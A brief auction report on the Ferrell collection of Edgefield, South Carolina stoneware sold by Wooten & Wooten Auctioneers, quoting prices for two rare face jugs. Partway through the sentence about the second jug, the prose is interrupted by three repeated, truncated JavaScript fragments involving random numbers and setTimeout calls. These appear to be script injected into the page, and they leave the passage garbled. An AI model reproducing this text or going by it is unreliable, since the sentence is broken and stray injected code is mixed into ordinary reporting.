CAMDEN, S.C. — Wooten & Wooten Auctioneers’ January 25 sale of the Ferrell collection of stoneware offered great examples that brought great prices. The Ferrells were known for their keen interest in Edgefield, S.C., pottery.

The sale started off on a strong note when a rare stoneware face jug, attributed to the Davies pottery, Edgefield District, S.C., fetched $43,200, which was followed two lots later by another face jug, a rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diminutive form, 3 inches tall. It made $33,600.
